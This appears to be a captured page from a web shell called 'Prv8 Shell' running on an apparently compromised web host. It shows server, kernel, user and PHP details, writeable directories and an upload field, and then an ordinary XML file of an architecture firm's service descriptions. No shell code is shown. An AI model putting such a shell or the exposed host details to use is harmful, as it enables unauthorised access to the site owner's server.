Prv8 Shell
Server : Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4
System : Linux server.jackjohnson.com 2.6.32-279.5.2.el6.x86_64 #1 SMP Fri Aug 24 01:07:11 UTC 2012 x86_64
User : jackjohn ( 502)
PHP Version : 5.3.17
Disable Function : NONE
Directory :  /home/jackjohn/public_html/xml/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/jackjohn/public_html/xml/services.xml
<service title="Land Planning & Landscape Architecture" imageURL="images/services/landPlanning.jpg">
	<text>
		<![CDATA[<p>As the guide for your project, we consider the economic variables and evaluate the environment impacted to determine the best methods to maximize real estate value. A comprehensive site analysis helps identify opportunities. When it comes to landscape architecture, Jack Johnson Company uses Three-Dimensional Drafting, allowing us to prepare virtual-reality graphics so that our clients and the governing approval agencies can envision a project before any dirt is moved.</p><br>
		<p><span class="tradeBold">Our services include:</span><br><br>
		<li>Land Use and Concept Planning</li>
		<li>Master and Site-Specific Planning</li>
		<li>Construction Documents</li>
		<li>Ski Area Analysis</li>
		<li>Grading Plans</li>
		<li>Site Design Guidelines</li>
		<li>Mountain Planning</li>
		<li>Base Area/Village Planning</li>
		<li>Renderings and 3-D Visual Analysis</li></p>]]>
	</text>
</service>
<!--service-->
<service title="Architecture" imageURL="images/services/architecture.jpg">
	<text>
		<![CDATA[<p>No project is the same, so it’s our philosophy to work according to the uniqueness of the site, environment and product goals. The architectural group at Jack Johnson Company includes a variety of licensed architects and designers specializing in particular disciplines that benefit the design, function and profitability of a project. This array of fields includes: resort, recreation, sport venues, hospitality, housing (condo, single-family, multifamily and timeshare products), commercial and retail design.</p><br>
		<p><span class="tradeBold">Our architectural services include (look for main bullets in SOQ):</span><br><br>
		<li>Project and Building Programming</li>
		<li>Architectural Concepts</li>
		<li>Diagrammatic and Schematic Design</li>
		<li>Three-dimensional Modeling and Walk-Thrus</li>
		<li>Design Development</li>
		<li>Design Guidelines</li>
		<li>Construction Documents</li>
		<li>Architectural Renderings</li>
		<li>Elevations and Floor Plans</li></p>]]>
	</text>
</service>
<!--service-->
<service title="Engineering" imageURL="images/services/engineering.jpg">
	<text>
		<![CDATA[<p>Civil engineering creates the circulatory system of any development. Whether routing vehicles, water, power or pedestrians, we specialize in smooth-flowing and sensible designs. Throughout the planning and development phase, we provide our clients with a sensible master plan, encompassing function with constructability and value. </p><br>
<p><span class="tradeBold">Engineering services include:</span><br><br>
		<li>Engineering feasibility studies</li>
		<li>Master utility plans</li>
		<li>Roadway and circulation system design</li>
		<li>Culinary, irrigation and fire protection water system design (including water treatment and storage)</li>
		<li>Sanitary sewer and storm drainage system design (including sewer treatment and detention basin design)</li>
		<li>Water rights research and identification</li>
		<li>Water resources development (including well protection)</li>
		<li>Hydrology studies</li>
		<li>Civil improvement construction documents and civil improvement construction oversight and inspection</li></p>]]>
	</text>
</service>
<!--service-->
<service title="Ski Area Planning" imageURL="images/services/ski.jpg">
	<text>
		<![CDATA[<p> Ski area resort design and construction services have always been at the core of Jack Johnson Company.  Our goal is to provide the guidance and support you require for every step of the process, from sketch plan to construction.</p><br>
<p><span class="tradeBold">Our comprehensive ski area resort design services include: </span><br><br>
		<li>Development Programming </li>
		<li>Development Feasibility Studies </li>
		<li>Land Use Planning </li>
		<li>Site Specific Planning </li>
		<li>Governmental Processing </li>
		<li>Environmental Impact Statements </li>
		<li>Base Area and Village Design, Engineering, and Architecture </li>
		<li>Economic and Financial Analysis </li>
		<li>Pro Forma Financial Analysis </li>
		<li>Fiscal Impact Studies </li></p>]]>
	</text>
</service>
<!--service-->
<service title="Golf Course Architecture & Design" imageURL="images/services/golf.jpg">
	<text>
		<![CDATA[<p>With over 30 years of experience in recreational design and collective foresight, the design professionals at Jack Johnson Company have continuously developed environments that deliver opportunities for superior course design. Our golf course design team helps ensure quality construction, budget maintenance and to deal with site-specific issues quickly. </p><br>
<p><span class="tradeBold">Our golf design services include: </span><br><br>
		<li>Development Programming </li>
		<li>Golf Course Design </li>
		<li>Golf Course Enhancement & Renovation </li>
		<li>Golf Practice Facility Design </li>
		<li>Construction Bid Administration </li>
		<li>Construction Supervision/Observation </li>
		<li>Post-Construction Consultation </li>
		<li>Governmental Approval </li></p>]]>
	</text>
</service>
<!--service-->
<service title="Surveying" imageURL="images/services/surveying.jpg">
	<text>
		<![CDATA[<p>The process of surveying is an essential element in the development of a project–to accurately determine spatial positions is critical to all elements of development. Jack Johnson Company has a highly-qualified staff of licensed surveyors, party chiefs, right-of-way technicians and CAD technicians. Our survey department has extensive experience in boundary, right-of-way, design and construction surveys.</p><br>
<p><span class="tradeBold">Surveying services include: </span><br><br>
		<li>ALTA/ACSM Land Surveys </li>
		<li>Boundary Surveys </li>
		<li>Aerial Photogrammetric Control Surveys </li>
		<li>Final Plat and Record Drawing Preparation </li>
		<li>Condominium Platting </li>
		<li>Design and Topographic Surveys and Mapping </li>
		<li>GPS Control Surveys and Mapping </li>
		<li>Mineral and Route Location Surveys and Mapping </li>
		<li> Residential, Commercial, Recreational and Industrial Subdivision Surveys </li>
		<li>Construction Control Surveys </li></p>]]>
	</text>
</service>
<!--service-->
<service title="Project Management" imageURL="images/services/projectManagement.jpg">
	<text>
		<![CDATA[<p>Our 30 years of project management experience and wisdom gained are invaluable. Every project is assigned a manager to coordinate, facilitate and direct the design, approval and construction process. This allows our clients to have a single “go to” contact, thus eliminating multiple consultants and contact points. </p><br>
<p><span class="tradeBold">The following management services are provided for all projects: </span><br><br>
		<li>Project Team Coordination, Communication and Liaison (Client Team, In-House Staff, Outside Consultants and Governing Agencies) </li>
		<li>Costing, Budgeting, and Scheduling </li>
		<li>Project Oversight and Coordination </li>
		<li>Comparison of Market Studies with Economic Feasibility Studies</li></p>]]>
	</text>
</service>
<!--service-->
<service title="Business Plan & Financial Analysis" imageURL="images/services/projectManagement.jpg">
	<text>
		<![CDATA[<p> A successful project depends upon sound business processes. Without a sustainable business, a project cannot effectively and proactively plan for future development and a return on an investment. In conjunction with, or prior to design, business goals are outlined and understood by our financial analysts. The information is then compiled to provide options for land use and development goals. The bottom line is a crucial component throughout the entire design process.</p><br>
		<p><span class="tradeBold">The services provided for our clientele include: </span><br><br>
		<li>Pro Formas </li>
		<li>Fiscal Impact Studies and Evaluations </li>
		<li>Market Studies and Business Plans </li>
		<li>Social and Economic Feasibility Studies </li></p>]]>
	</text>
</service>

haha - 2025